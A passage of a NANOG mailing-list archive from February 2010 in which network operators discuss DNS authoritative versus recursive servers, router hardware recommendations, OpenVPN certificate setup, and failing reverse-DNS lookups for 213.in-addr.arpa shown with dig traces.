authoritative only, and another server (or a different IP on the same server) was acting as the recursive server then your authoritative server will still return the incorrect answers if asked - but nobody will ever ask it for a domain that isn't correctly delegated to it. There are (poor) solutions to this, such as regular checks that all domains you're serving are actually delegated to you - but simply separating the functions is a far better solution. Scott. From jason at lixfeld.ca Sun Feb 14 19:54:08 2010 From: jason at lixfeld.ca (Jason Lixfeld) Date: Sun, 14 Feb 2010 20:54:08 -0500 Subject: Recommendations for router with routed copper gig-e ports? In-Reply-To: <840AD183D768624E9544DBE2557310420FB6F4B5@nawd103067> References: <07e801caadb6$23b15dc0$6b141940$@org> <840AD183D768624E9544DBE2557310420FB6F4B5@nawd103067> Message-ID: <34897BD8-E348-48DA-8305-3AEBAE8983E1@lixfeld.ca> The OS906 may be different than the OS912, but be warned that I had major issues with OS912 relating to LDP and OSPF. Constant crashes of both LDP and OSPF made the device totally unusable. We had to ship all 20 back to them. It was really messy. This was about 6 months ago, and their code may have been fixed, so YMMV. On 2010-02-14, at 8:47 PM, "Eric Morin" wrote: > I have found the MRV OS906 (6 port 10/100/1000/SFP + Eth OBM) to be a > very cost effective and an extremely flexible device. It's a linux > based > device with a router shell but all forwarding is done in hardware > (ASICs). It has a very flexible implementation of many L2 features > (QnQ, > inner or outer tag swapping, eth OAM, ERP) but also sports standard > routing switch features and protocols like BGP, OSPF, even IS-IS! > > The cost of the device is 1/4 of a 3560G (etc). > > MRV's support has been very good. We found a bug in the DHCP-Relay > function where it would not broadcast back to a client that > discovered/requested with the broadcast bit set. They provided a new > spin of code with the fix within days! > > http://www.mrv.com/product/MRV-OS-OS900-SDB > > I hope this helps > Eric RR Morin > > -----Original Message----- > From: Lorell Hathcock [mailto:lorell at hathcock.org] > Sent: Sunday, February 14, 2010 4:42 PM > To: 'North American Network Operators Group' > Subject: Recommendations for router with routed copper gig-e ports? > > All: > > > > I'm involved in a project where we are cutting over a WISP from > being a > single broadcast domain into the grownup real world of routing between > tower > nodes. Of course the equipment is all Mikrotik and the single > broadcast > domain was easy to implement, so that's why it was done this way. > > > > My problem on the redesign is I want to provide routed, copper gig-e > ports > at a reasonable price per port. > > > > My thought is to provide one copper gig-e port for all of the APs at a > tower > and a copper gig-e port for each backhaul to other towers (typically 2 > to > 4). On the core nodes, I want to have one fiber gig-e port for the > internet > connection. BGP would be implemented on the routers that connect to > the > internet. OSPF would be implemented on all of the backhaul ports. > > > > So number of routed, copper gig-e ports at each tower would be: > > > > 1 - AP network (need suggestion for cost effective gig-e switch) > > 2 to 4 - back haul ports > > 1 - internet port (on one out of every 4 towers or so) (and most > likely > fiber instead of copper) > > > > Does anyone have any suggestions? > > > > Sincerely, > > > > Lorell Hathcock > > > > OfficeConnect.net | 832-665-3400 x101 (o) | 713-992-2343 (f) | > lorell at officeconnect.net > > Texas State Security Contractor License | ONSSI Certified Channel > Partner > > Axis Communications Channel Partner | BICSI Corporate Member > > Leviton Authorized Installer > > > > > -- > This message has been scanned by MailScanner > > From LarrySheldon at cox.net Sun Feb 14 19:55:51 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sun, 14 Feb 2010 19:55:51 -0600 Subject: Time out for a terminology check--"resolver" vs "server". In-Reply-To: References: <4B788F28.7030701@cox.net> <4B78A13F.5050808@cox.net> Message-ID: <4B78A9A7.9030307@cox.net> On 2/14/2010 7:48 PM, Scott Howard wrote: > On Sun, Feb 14, 2010 at 5:19 PM, Larry Sheldon wrote: >>> It is possibly to run both Authoritative and Recursive server on the >>> same IP, but it's generally not recommended for many reasons (the most >>> simple being that of stale data if your server is no longer the >>> correct nameserver for a domain, but it's still configured to be >>> authoritative for that domain). >> >> Seems like TTL management would take care of that but I think the issues >> of recursion are now different from the safe world I thought I lived in >> 20 years ago. > > TTL's play no part in how any Authoritative server answers a request. I understand that--but it the TTL is being managed correctly the server answering authoritatively ought to stop doing so when the TTL runs out, since it will not have had its authority renewed. > Consider what happens if your DNS server was authoritative for > example.com, and the .com nameservers pointed to you for that domain. > Your customer who owns the domain then changes the delegation to > another provider (and/or the domain expires, etc) but doesn't tell > you. > > At this point, your server is still answering all requests for > example.com - because that's what authoritative servers do. It won't > check to make sure that the domain is still delegated to it, and doing > so would make no sense in a generic sense (eg, it might be an internal > only domain, or testing a new domain that hasn't yet been delegated to > you, etc). The glue and all of that stuff won't expire at TTL=0? I'll have to study that a bit. Seems like the zone file shold have been replaced to reflect the authority change. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From EricMo at BarrettXplore.com Sun Feb 14 20:11:03 2010 From: EricMo at BarrettXplore.com (Eric Morin) Date: Sun, 14 Feb 2010 22:11:03 -0400 Subject: Recommendations for router with routed copper gig-e ports? References: <07e801caadb6$23b15dc0$6b141940$@org><840AD183D768624E9544DBE2557310420FB6F4B5@nawd103067> <34897BD8-E348-48DA-8305-3AEBAE8983E1@lixfeld.ca> Message-ID: <840AD183D768624E9544DBE2557310420FB6F4BB@nawd103067> I actually think the 912 is different then the 904 and 906, as I was discouraged from buying the 912, and I REALLY wanted the extra ports. That's not to say that the 904/906 doesn't have the same problems. I use it for a router with a bunch of connected networks, DHCP relay, and BGP. Other then the below mentioned DHCP-relay bug, and an FTP command bug (which was also quickly fixed) they have served us well. Eric RR Morin -----Original Message----- From: Jason Lixfeld [mailto:jason at lixfeld.ca] Sent: Sunday, February 14, 2010 9:54 PM To: Eric Morin Cc: North American Network Operators Group Subject: Re: Recommendations for router with routed copper gig-e ports? The OS906 may be different than the OS912, but be warned that I had major issues with OS912 relating to LDP and OSPF. Constant crashes of both LDP and OSPF made the device totally unusable. We had to ship all 20 back to them. It was really messy. This was about 6 months ago, and their code may have been fixed, so YMMV. On 2010-02-14, at 8:47 PM, "Eric Morin" wrote: > I have found the MRV OS906 (6 port 10/100/1000/SFP + Eth OBM) to be a > very cost effective and an extremely flexible device. It's a linux > based > device with a router shell but all forwarding is done in hardware > (ASICs). It has a very flexible implementation of many L2 features > (QnQ, > inner or outer tag swapping, eth OAM, ERP) but also sports standard > routing switch features and protocols like BGP, OSPF, even IS-IS! > > The cost of the device is 1/4 of a 3560G (etc). > > MRV's support has been very good. We found a bug in the DHCP-Relay > function where it would not broadcast back to a client that > discovered/requested with the broadcast bit set. They provided a new > spin of code with the fix within days! > > http://www.mrv.com/product/MRV-OS-OS900-SDB > > I hope this helps > Eric RR Morin > > -----Original Message----- > From: Lorell Hathcock [mailto:lorell at hathcock.org] > Sent: Sunday, February 14, 2010 4:42 PM > To: 'North American Network Operators Group' > Subject: Recommendations for router with routed copper gig-e ports? > > All: > > > > I'm involved in a project where we are cutting over a WISP from > being a > single broadcast domain into the grownup real world of routing between > tower > nodes. Of course the equipment is all Mikrotik and the single > broadcast > domain was easy to implement, so that's why it was done this way. > > > > My problem on the redesign is I want to provide routed, copper gig-e > ports > at a reasonable price per port. > > > > My thought is to provide one copper gig-e port for all of the APs at a > tower > and a copper gig-e port for each backhaul to other towers (typically 2 > to > 4). On the core nodes, I want to have one fiber gig-e port for the > internet > connection. BGP would be implemented on the routers that connect to > the > internet. OSPF would be implemented on all of the backhaul ports. > > > > So number of routed, copper gig-e ports at each tower would be: > > > > 1 - AP network (need suggestion for cost effective gig-e switch) > > 2 to 4 - back haul ports > > 1 - internet port (on one out of every 4 towers or so) (and most > likely > fiber instead of copper) > > > > Does anyone have any suggestions? > > > > Sincerely, > > > > Lorell Hathcock > > > > OfficeConnect.net | 832-665-3400 x101 (o) | 713-992-2343 (f) | > lorell at officeconnect.net > > Texas State Security Contractor License | ONSSI Certified Channel > Partner > > Axis Communications Channel Partner | BICSI Corporate Member > > Leviton Authorized Installer > > > > > -- > This message has been scanned by MailScanner > > -- This message has been scanned by MailScanner From jlewis at lewis.org Sun Feb 14 20:14:01 2010 From: jlewis at lewis.org (Jon Lewis) Date: Sun, 14 Feb 2010 21:14:01 -0500 (EST) Subject: Time out for a terminology check--"resolver" vs "server". In-Reply-To: <4B78A9A7.9030307@cox.net> References: <4B788F28.7030701@cox.net> <4B78A13F.5050808@cox.net> <4B78A9A7.9030307@cox.net> Message-ID: On Sun, 14 Feb 2010, Larry Sheldon wrote: > I understand that--but it the TTL is being managed correctly the server > answering authoritatively ought to stop doing so when the TTL runs out, > since it will not have had its authority renewed. That's not how things work. If you configure bind to be authoratative for example.com, your zone file has a serial number, and various other SOA fields, some of which tell caching servers how long you'd like them to cache hits and misses. Some will totally ignore those TTLs, but that's an entirely different rant. Now consider example.com moves and the gtld-servers point NS for it at my server. I set it up differently than you did (different NS records, different A record IPs, etc.). Unless you remove example.com from your bind config, your server will still think it's authoratative for it. If your server is a locally used caching server and an authoratative server (as used to be quite common, esp. for smaller networks), the clients using your DNS server will still see the old example.com records from your outdated authoratative data. > The glue and all of that stuff won't expire at TTL=0? No. Authoratative data on your server (a locally configured zone) doesn't require glue. > Seems like the zone file shold have been replaced to reflect the > authority change. Should have been removed...but if everything that should happen did happen, things would be so much simpler. ---------------------------------------------------------------------- Jon Lewis | I route Senior Network Engineer | therefore you are Atlantic Net | _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From mysidia at gmail.com Sun Feb 14 20:24:04 2010 From: mysidia at gmail.com (James Hess) Date: Sun, 14 Feb 2010 20:24:04 -0600 Subject: Time out for a terminology check--"resolver" vs "server". In-Reply-To: <4B78A9A7.9030307@cox.net> References: <4B788F28.7030701@cox.net> <4B78A13F.5050808@cox.net> <4B78A9A7.9030307@cox.net> Message-ID: <6eb799ab1002141824s652c4f31od02cb750912a064b@mail.gmail.com> On Sun, Feb 14, 2010 at 7:55 PM, Larry Sheldon wrote: > I understand that--but it the TTL is being managed correctly the server > answering authoritatively ought to stop doing so when the TTL runs out, > since it will not have had its authority renewed. The TTL can never "run out" on an authoritative nameserver, the TTL given for a query response is always the full TTL of the RR that a dns admin populated the zone with. The only way an authoritative nameserver should expire and become non-authoritative (without administrative action) for a record is the case where it is a slave server, and it fails to receive updates from the master for an entire zone before the "EXPIRE" period defined in the zone's SOA (in seconds) elapses. After the expire value, then, the zone is no longer authoritative on the slave. This is normally set to a very large number, such as 604800 or 2419200 (7 or 30 days, respectively). > The glue and all of that stuff won't expire at TTL=0? > I'll have to study that a bit. Which type of glue are you referring to? TTL only indicates the expiration time of resolver cached information after the resolver has already returned the complete response. Additional sections provided expire from resolver cache, when TTL of the RR in the additional secretion is decremented from zero. SOAs always have a TTL of zero, anyways. A TTL of zero just prohibits caching (and some unruly resolvers or web browsers violate the standard ignore the prohibition against caching).. DNS pinning, and they call this breach of standard a "security" feature. Also, BIND implements the EXPIRE value in the SOA. But other DNS server software applications widely ignore this value, and the zone stays authoritative on all servers, no matter how much time elapses between updates (in that case). -- -J From LarrySheldon at cox.net Sun Feb 14 20:25:28 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sun, 14 Feb 2010 20:25:28 -0600 Subject: Time out for a terminology check--"resolver" vs "server". In-Reply-To: References: <4B788F28.7030701@cox.net> <4B78A13F.5050808@cox.net> <4B78A9A7.9030307@cox.net> Message-ID: <4B78B098.6060506@cox.net> On 2/14/2010 8:14 PM, Jon Lewis wrote: >> The glue and all of that stuff won't expire at TTL=0? > > No. Authoratative data on your server (a locally configured zone) doesn't > require glue. I really should have scrapped that reply and started over--by the time I got to this part I realized that authority delegation is a matter of what is in the zone file, not what has been learned. >> Seems like the zone file shold have been replaced to reflect the >> authority change. > > Should have been removed...but if everything that should happen did > happen, things would be so much simpler. Trudat. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From randy at psg.com Sun Feb 14 21:10:38 2010 From: randy at psg.com (Randy Bush) Date: Mon, 15 Feb 2010 12:10:38 +0900 Subject: dns interceptors In-Reply-To: <1153294188-1266170839-cardhu_decombobulator_blackberry.rim.net-818471106-@bda609.bisx.prod.on.blackberry> References: <1153294188-1266170839-cardhu_decombobulator_blackberry.rim.net-818471106-@bda609.bisx.prod.on.blackberry> Message-ID: > I run openvpn on my linux box to do exactly that. i am in the midst of setting up some openvpn servers now, westin, ashburn, tokyo, but westin first. having problems sorting in what --outform it wants the bleeping certs. randy From charles at knownelement.com Sun Feb 14 21:16:33 2010 From: charles at knownelement.com (charles at knownelement.com) Date: Mon, 15 Feb 2010 03:16:33 +0000 Subject: dns interceptors Message-ID: <538584784-1266203813-cardhu_decombobulator_blackberry.rim.net-839069026-@bda609.bisx.prod.on.blackberry> Not familiar with --outform argument. Will have to look into it. Presume you are doing site to site/network to network? Or are you setting this up for end users to terminate to? I've done the latter many many times, but not net to net. Happy to provide docs if you/nanog like. I think that everyone should run a vpn to secure remote access to services they are operating. You integrating this with an existing ski infrastructure? If so is it openssl based? Or maybe ad based? Lots of openvpn variables.... Might be worth starting a new thread on the subject. As I said, I feel its vital for folks to have a deep familiarity with openvpn and best practices etc. ------Original Message------ From: Randy Bush To: Charles Wyble Cc: nanog at nanog.org Subject: Re: dns interceptors Sent: Feb 14, 2010 7:10 PM > I run openvpn on my linux box to do exactly that. i am in the midst of setting up some openvpn servers now, westin, ashburn, tokyo, but westin first. having problems sorting in what --outform it wants the bleeping certs. randy Sent via BlackBerry from T-Mobile From randy at psg.com Sun Feb 14 21:29:21 2010 From: randy at psg.com (Randy Bush) Date: Mon, 15 Feb 2010 12:29:21 +0900 Subject: dns interceptors In-Reply-To: <538584784-1266203813-cardhu_decombobulator_blackberry.rim.net-839069026-@bda609.bisx.prod.on.blackberry> References: <538584784-1266203813-cardhu_decombobulator_blackberry.rim.net-839069026-@bda609.bisx.prod.on.blackberry> Message-ID: end user to network having probs with certs, i.e. what --outform it wants. not finding in docs. tried raw, but now guessing pem. same for client and server server ca.crt server.crt server.key client ca.crt client.crt client.key and i presume i have to dump all client.crt files in the server's ../openvpn dir, but under what names? or does it just wantonly trust anyone under that ca? randy From larry-lists at maxqe.com Sun Feb 14 21:44:02 2010 From: larry-lists at maxqe.com (Larry Brower) Date: Sun, 14 Feb 2010 21:44:02 -0600 Subject: dns interceptors In-Reply-To: References: <538584784-1266203813-cardhu_decombobulator_blackberry.rim.net-839069026-@bda609.bisx.prod.on.blackberry> Message-ID: <4B78C302.9030007@maxqe.com> Randy Bush wrote: > end user to network > > having probs with certs, i.e. what --outform it wants. not finding in > docs. tried raw, but now guessing pem. same for client and server > > server > ca.crt > server.crt > server.key > > client > ca.crt > client.crt > client.key > > and i presume i have to dump all client.crt files in the server's > ../openvpn dir, but under what names? or does it just wantonly trust > anyone under that ca? > > randy > > What error is getting logged? They are just normal cert's and should be in the keys directory under openvpn's user directory. OpenVPN includes scripts that can make the certificates for you under the directory easy-rsa From marka at isc.org Sun Feb 14 21:46:27 2010 From: marka at isc.org (Mark Andrews) Date: Mon, 15 Feb 2010 14:46:27 +1100 Subject: Time out for a terminology check--"resolver" vs "server". In-Reply-To: Your message of "Sun, 14 Feb 2010 20:24:04 MDT." <6eb799ab1002141824s652c4f31od02cb750912a064b@mail.gmail.com> References: <4B788F28.7030701@cox.net> <4B78A13F.5050808@cox.net> <4B78A9A7.9030307@cox.net> <6eb799ab1002141824s652c4f31od02cb750912a064b@mail.gmail.com> Message-ID: <201002150346.o1F3kReT077992@drugs.dv.isc.org> In message <6eb799ab1002141824s652c4f31od02cb750912a064b at mail.gmail.com>, James Hess writes: > > Also, BIND implements the EXPIRE value in the SOA. > But other DNS server software applications widely ignore this value, > and the zone stays authoritative on all servers, no matter how much > time elapses between updates (in that case). And if there are loops in the zone transfer graph slaves can stay alive even if they are checking the serial of the master to see if they need to expire the zone. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: marka at isc.org From charles at knownelement.com Sun Feb 14 22:08:26 2010 From: charles at knownelement.com (charles at knownelement.com) Date: Mon, 15 Feb 2010 04:08:26 +0000 Subject: dns interceptors Message-ID: <1960932500-1266206926-cardhu_decombobulator_blackberry.rim.net-193615471-@bda609.bisx.prod.on.blackberry> Yes. Easy rsa is the way to go. They are normal certs. Check the scripts if you want to roll your own openssl wrapper scripts. ------Original Message------ From: Larry Brower To: nanog at nanog.org Subject: Re: dns interceptors Sent: Feb 14, 2010 7:44 PM Randy Bush wrote: > end user to network > > having probs with certs, i.e. what --outform it wants. not finding in > docs. tried raw, but now guessing pem. same for client and server > > server > ca.crt > server.crt > server.key > > client > ca.crt > client.crt > client.key > > and i presume i have to dump all client.crt files in the server's > ../openvpn dir, but under what names? or does it just wantonly trust > anyone under that ca? > > randy > > What error is getting logged? They are just normal cert's and should be in the keys directory under openvpn's user directory. OpenVPN includes scripts that can make the certificates for you under the directory easy-rsa Sent via BlackBerry from T-Mobile From scott at doc.net.au Sun Feb 14 22:15:02 2010 From: scott at doc.net.au (Scott Howard) Date: Sun, 14 Feb 2010 20:15:02 -0800 Subject: dns interceptors In-Reply-To: References: <538584784-1266203813-cardhu_decombobulator_blackberry.rim.net-839069026-@bda609.bisx.prod.on.blackberry> Message-ID: On Sun, Feb 14, 2010 at 7:29 PM, Randy Bush wrote: > end user to network > > having probs with certs, i.e. what --outform it wants. ?not finding in > docs. ?tried raw, but now guessing pem. ?same for client and server Use the easy-rsa stuff and it will do all the hard work for you. http://openvpn.net/index.php/open-source/documentation/howto.html Scott From randy at psg.com Sun Feb 14 23:07:17 2010 From: randy at psg.com (Randy Bush) Date: Mon, 15 Feb 2010 14:07:17 +0900 Subject: dns interceptors In-Reply-To: References: <538584784-1266203813-cardhu_decombobulator_blackberry.rim.net-839069026-@bda609.bisx.prod.on.blackberry> Message-ID: >> having probs with certs, i.e. what --outform it wants. not finding in >> docs. tried raw, but now guessing pem. same for client and server > Use the easy-rsa stuff and it will do all the hard work for you. > http://openvpn.net/index.php/open-source/documentation/howto.html we have a pki we know and love but i am trying/disecting easy-rsa to see what it is doing randy From randy at psg.com Sun Feb 14 23:10:00 2010 From: randy at psg.com (Randy Bush) Date: Mon, 15 Feb 2010 14:10:00 +0900 Subject: dns interceptors In-Reply-To: <4B78C302.9030007@maxqe.com> References: <538584784-1266203813-cardhu_decombobulator_blackberry.rim.net-839069026-@bda609.bisx.prod.on.blackberry> <4B78C302.9030007@maxqe.com> Message-ID: >> having probs with certs, i.e. what --outform it wants. > They are just normal cert's just normal certs can be text, pem, der, ... randy From larry-lists at maxqe.com Sun Feb 14 23:51:22 2010 From: larry-lists at maxqe.com (Larry Brower) Date: Sun, 14 Feb 2010 23:51:22 -0600 Subject: dns interceptors In-Reply-To: References: <538584784-1266203813-cardhu_decombobulator_blackberry.rim.net-839069026-@bda609.bisx.prod.on.blackberry> <4B78C302.9030007@maxqe.com> Message-ID: <4B78E0DA.3010106@maxqe.com> Randy Bush wrote: > just normal certs can be text, pem, der, ... > > randy > Randy, pem format. From stb at lassitu.de Mon Feb 15 01:28:04 2010 From: stb at lassitu.de (Stefan Bethke) Date: Mon, 15 Feb 2010 08:28:04 +0100 Subject: dns interceptors In-Reply-To: References: <538584784-1266203813-cardhu_decombobulator_blackberry.rim.net-839069026-@bda609.bisx.prod.on.blackberry> Message-ID: <75BDDE22-25E1-4AA4-B8E4-75140B926FBA@lassitu.de> Am 15.02.2010 um 04:29 schrieb Randy Bush: > and i presume i have to dump all client.crt files in the server's > ../openvpn dir, but under what names? or does it just wantonly trust > anyone under that ca? Any cert signed by that CA. Use --cclient-config-dir to limit which CNs are acceptable, and to add custom configs per client on the server. On the client, use --tls-remote to limit which CN the client will accept when connecting to the server. On the server, you can also roll your own script to inspected the certificate presented by the client, and act on that. Stefan -- Stefan Bethke Fon +49 151 14070811 From matthew at sorbs.net Mon Feb 15 03:22:17 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Mon, 15 Feb 2010 10:22:17 +0100 Subject: in-addr.arpa server problems for europe? Message-ID: <4B791249.1060806@sorbs.net> I see constant issues where I can't resolve PTR's in Europe. I see no reason for this except that a bunch of servers are either dropping my packets or are permanently f**ked... any other clues gratefully accepted. michelle at enigma:~/dultools$ dig +trace -x 213.219.184.23 ; <<>> DiG 9.3.3 <<>> +trace -x 213.219.184.23 ;; global options: printcmd . 364340 IN NS J.ROOT-SERVERS.NET. . 364340 IN NS K.ROOT-SERVERS.NET. . 364340 IN NS L.ROOT-SERVERS.NET. . 364340 IN NS M.ROOT-SERVERS.NET. . 364340 IN NS A.ROOT-SERVERS.NET. . 364340 IN NS B.ROOT-SERVERS.NET. . 364340 IN NS C.ROOT-SERVERS.NET. . 364340 IN NS D.ROOT-SERVERS.NET. . 364340 IN NS E.ROOT-SERVERS.NET. . 364340 IN NS F.ROOT-SERVERS.NET. . 364340 IN NS G.ROOT-SERVERS.NET. . 364340 IN NS H.ROOT-SERVERS.NET. . 364340 IN NS I.ROOT-SERVERS.NET. ;; Received 332 bytes from 111.125.160.132#53(111.125.160.132) in 1 ms 213.in-addr.arpa. 86400 IN NS NS-PRI.RIPE.NET. 213.in-addr.arpa. 86400 IN NS NS3.NIC.FR. 213.in-addr.arpa. 86400 IN NS SUNIC.SUNET.SE. 213.in-addr.arpa. 86400 IN NS SNS-PB.ISC.ORG. 213.in-addr.arpa. 86400 IN NS SEC1.APNIC.NET. 213.in-addr.arpa. 86400 IN NS SEC3.APNIC.NET. 213.in-addr.arpa. 86400 IN NS TINNIE.ARIN.NET. ;; Received 224 bytes from 192.228.79.201#53(B.ROOT-SERVERS.NET) in 20011 ms ;; connection timed out; no servers could be reached michelle at enigma:~/dultools$ dig +trace -x 213.219.184.23 ; <<>> DiG 9.3.3 <<>> +trace -x 213.219.184.23 ;; global options: printcmd . 364195 IN NS F.ROOT-SERVERS.NET. . 364195 IN NS G.ROOT-SERVERS.NET. . 364195 IN NS H.ROOT-SERVERS.NET. . 364195 IN NS I.ROOT-SERVERS.NET. . 364195 IN NS J.ROOT-SERVERS.NET. . 364195 IN NS K.ROOT-SERVERS.NET. . 364195 IN NS L.ROOT-SERVERS.NET. . 364195 IN NS M.ROOT-SERVERS.NET. . 364195 IN NS A.ROOT-SERVERS.NET. . 364195 IN NS B.ROOT-SERVERS.NET. . 364195 IN NS C.ROOT-SERVERS.NET. . 364195 IN NS D.ROOT-SERVERS.NET. . 364195 IN NS E.ROOT-SERVERS.NET. ;; Received 512 bytes from 111.125.160.132#53(111.125.160.132) in 1 ms 213.in-addr.arpa. 86400 IN NS NS-PRI.RIPE.NET. 213.in-addr.arpa. 86400 IN NS TINNIE.ARIN.NET. 213.in-addr.arpa. 86400 IN NS SNS-PB.ISC.ORG. 213.in-addr.arpa. 86400 IN NS SUNIC.SUNET.SE. 213.in-addr.arpa. 86400 IN NS NS3.NIC.FR. 213.in-addr.arpa. 86400 IN NS SEC3.APNIC.NET. 213.in-addr.arpa. 86400 IN NS SEC1.APNIC.NET. ;; Received 224 bytes from 192.112.36.4#53(G.ROOT-SERVERS.NET) in 5256 ms ;; connection timed out; no servers could be reached michelle at enigma:~/dultools$ dig +trace -x 213.219.184.23 ; <<>> DiG 9.3.3 <<>> +trace -x 213.219.184.23 ;; global options: printcmd . 364138 IN NS E.ROOT-SERVERS.NET. . 364138 IN NS F.ROOT-SERVERS.NET. . 364138 IN NS G.ROOT-SERVERS.NET. . 364138 IN NS H.ROOT-SERVERS.NET. . 364138 IN NS I.ROOT-SERVERS.NET. . 364138 IN NS J.ROOT-SERVERS.NET. . 364138 IN NS K.ROOT-SERVERS.NET. . 364138 IN NS L.ROOT-SERVERS.NET. . 364138 IN NS M.ROOT-SERVERS.NET. . 364138 IN NS A.ROOT-SERVERS.NET. . 364138 IN NS B.ROOT-SERVERS.NET. . 364138 IN NS C.ROOT-SERVERS.NET. . 364138 IN NS D.ROOT-SERVERS.NET. ;; Received 500 bytes from 111.125.160.132#53(111.125.160.132) in 1 ms 213.in-addr.arpa. 86400 IN NS NS-PRI.RIPE.NET. 213.in-addr.arpa. 86400 IN NS SUNIC.SUNET.SE. 213.in-addr.arpa. 86400 IN NS SNS-PB.ISC.ORG. 213.in-addr.arpa. 86400 IN NS SEC1.APNIC.NET. 213.in-addr.arpa. 86400 IN NS TINNIE.ARIN.NET. 213.in-addr.arpa. 86400 IN NS SEC3.APNIC.NET. 213.in-addr.arpa. 86400 IN NS NS3.NIC.FR. ;; Received 224 bytes from 192.203.230.10#53(E.ROOT-SERVERS.NET) in 183 ms ;; connection timed out; no servers could be reached michelle at enigma:~/dultools$ dig +trace -x 213.219.184.23 ; <<>> DiG 9.3.3 <<>> +trace -x 213.219.184.23 ;; global options: printcmd . 364091 IN NS D.ROOT-SERVERS.NET. . 364091 IN NS E.ROOT-SERVERS.NET. . 364091 IN NS F.ROOT-SERVERS.NET. . 364091 IN NS G.ROOT-SERVERS.NET. . 364091 IN NS H.ROOT-SERVERS.NET. . 364091 IN NS I.ROOT-SERVERS.NET. . 364091 IN NS J.ROOT-SERVERS.NET. . 364091 IN NS K.ROOT-SERVERS.NET. . 364091 IN NS L.ROOT-SERVERS.NET. . 364091 IN NS M.ROOT-SERVERS.NET. . 364091 IN NS A.ROOT-SERVERS.NET. . 364091 IN NS B.ROOT-SERVERS.NET. . 364091 IN NS C.ROOT-SERVERS.NET. ;; Received 500 bytes from 111.125.160.132#53(111.125.160.132) in 1 ms 213.in-addr.arpa. 86400 IN NS SUNIC.SUNET.SE. 213.in-addr.arpa. 86400 IN NS TINNIE.ARIN.NET. 213.in-addr.arpa. 86400 IN NS NS3.NIC.FR. 213.in-addr.arpa. 86400 IN NS NS-PRI.RIPE.NET. 213.in-addr.arpa. 86400 IN NS SEC3.APNIC.NET. 213.in-addr.arpa. 86400 IN NS SEC1.APNIC.NET. 213.in-addr.arpa. 86400 IN NS SNS-PB.ISC.ORG. ;; Received 224 bytes from 128.8.10.90#53(D.ROOT-SERVERS.NET) in 249 ms ;; connection timed out; no servers could be reached michelle at enigma:~/dultools$ dig +trace -x 213.219.184.23 ; <<>> DiG 9.3.3 <<>> +trace -x 213.219.184.23 ;; global options: printcmd . 364032 IN NS B.ROOT-SERVERS.NET. . 364032 IN NS C.ROOT-SERVERS.NET. . 364032 IN NS D.ROOT-SERVERS.NET. . 364032 IN NS E.ROOT-SERVERS.NET. . 364032 IN NS F.ROOT-SERVERS.NET. . 364032 IN NS G.ROOT-SERVERS.NET. . 364032 IN NS H.ROOT-SERVERS.NET. . 364032 IN NS I.ROOT-SERVERS.NET. . 364032 IN NS J.ROOT-SERVERS.NET. . 364032 IN NS K.ROOT-SERVERS.NET. . 364032 IN NS L.ROOT-SERVERS.NET. . 364032 IN NS M.ROOT-SERVERS.NET. . 364032 IN NS A.ROOT-SERVERS.NET. ;; Received 500 bytes from 111.125.160.132#53(111.125.160.132) in 1 ms 213.in-addr.arpa. 86400 IN NS NS3.NIC.FR. 213.in-addr.arpa. 86400 IN NS SEC1.APNIC.NET. 213.in-addr.arpa. 86400 IN NS SEC3.APNIC.NET. 213.in-addr.arpa. 86400 IN NS SUNIC.SUNET.SE. 213.in-addr.arpa. 86400 IN NS NS-PRI.RIPE.NET. 213.in-addr.arpa. 86400 IN NS SNS-PB.ISC.ORG. 213.in-addr.arpa. 86400 IN NS TINNIE.ARIN.NET. ;; Received 224 bytes from 192.228.79.201#53(B.ROOT-SERVERS.NET) in 179 ms ;; connection timed out; no servers could be reached ...and to prove things do work @111.125.160.128/26... michelle at enigma:~/dultools$ dig +trace -x 8.8.8.8 ; <<>> DiG 9.3.3 <<>> +trace -x 8.8.8.8 ;; global options: printcmd . 364040 IN NS C.ROOT-SERVERS.NET. . 364040 IN NS D.ROOT-SERVERS.NET. . 364040 IN NS E.ROOT-SERVERS.NET. . 364040 IN NS F.ROOT-SERVERS.NET. . 364040 IN NS G.ROOT-SERVERS.NET. . 364040 IN NS H.ROOT-SERVERS.NET. . 364040 IN NS I.ROOT-SERVERS.NET. . 364040 IN NS J.ROOT-SERVERS.NET. . 364040 IN NS K.ROOT-SERVERS.NET. . 364040 IN NS L.ROOT-SERVERS.NET. . 364040 IN NS M.ROOT-SERVERS.NET. . 364040 IN NS A.ROOT-SERVERS.NET. . 364040 IN NS B.ROOT-SERVERS.NET. ;; Received 500 bytes from 111.125.160.132#53(111.125.160.132) in 4 ms 8.in-addr.arpa. 86400 IN NS NS1.LEVEL3.NET. 8.in-addr.arpa. 86400 IN NS NS2.LEVEL3.NET. ;; Received 84 bytes from 192.33.4.12#53(C.ROOT-SERVERS.NET) in 180 ms 8.8.8.in-addr.arpa. 3600 IN NS ns2.google.com. 8.8.8.in-addr.arpa. 3600 IN NS ns3.google.com. 8.8.8.in-addr.arpa. 3600 IN NS ns4.google.com. 8.8.8.in-addr.arpa. 3600 IN NS ns1.google.com. ;; Received 120 bytes from 209.244.0.1#53(NS1.LEVEL3.NET) in 175 ms 8.8.8.8.in-addr.arpa. 86400 IN PTR google-public-dns-a.google.com. ;; Received 82 bytes from 216.239.34.10#53(ns2.google.com) in 211 ms From bortzmeyer at nic.fr Mon Feb 15 05:58:13 2010 From: bortzmeyer at nic.fr (Stephane Bortzmeyer) Date: Mon, 15 Feb 2010 12:58:13 +0100 Subject: in-addr.arpa server problems for europe? In-Reply-To: <4B791249.1060806@sorbs.net> References: <4B791249.1060806@sorbs.net> Message-ID: <20100215115813.GB26024@nic.fr> On Mon, Feb 15, 2010 at 10:22:17AM +0100, Michelle Sullivan wrote a message of 185 lines which said: > 213.in-addr.arpa. 86400 IN NS NS-PRI.RIPE.NET. > 213.in-addr.arpa. 86400 IN NS NS3.NIC.FR. > 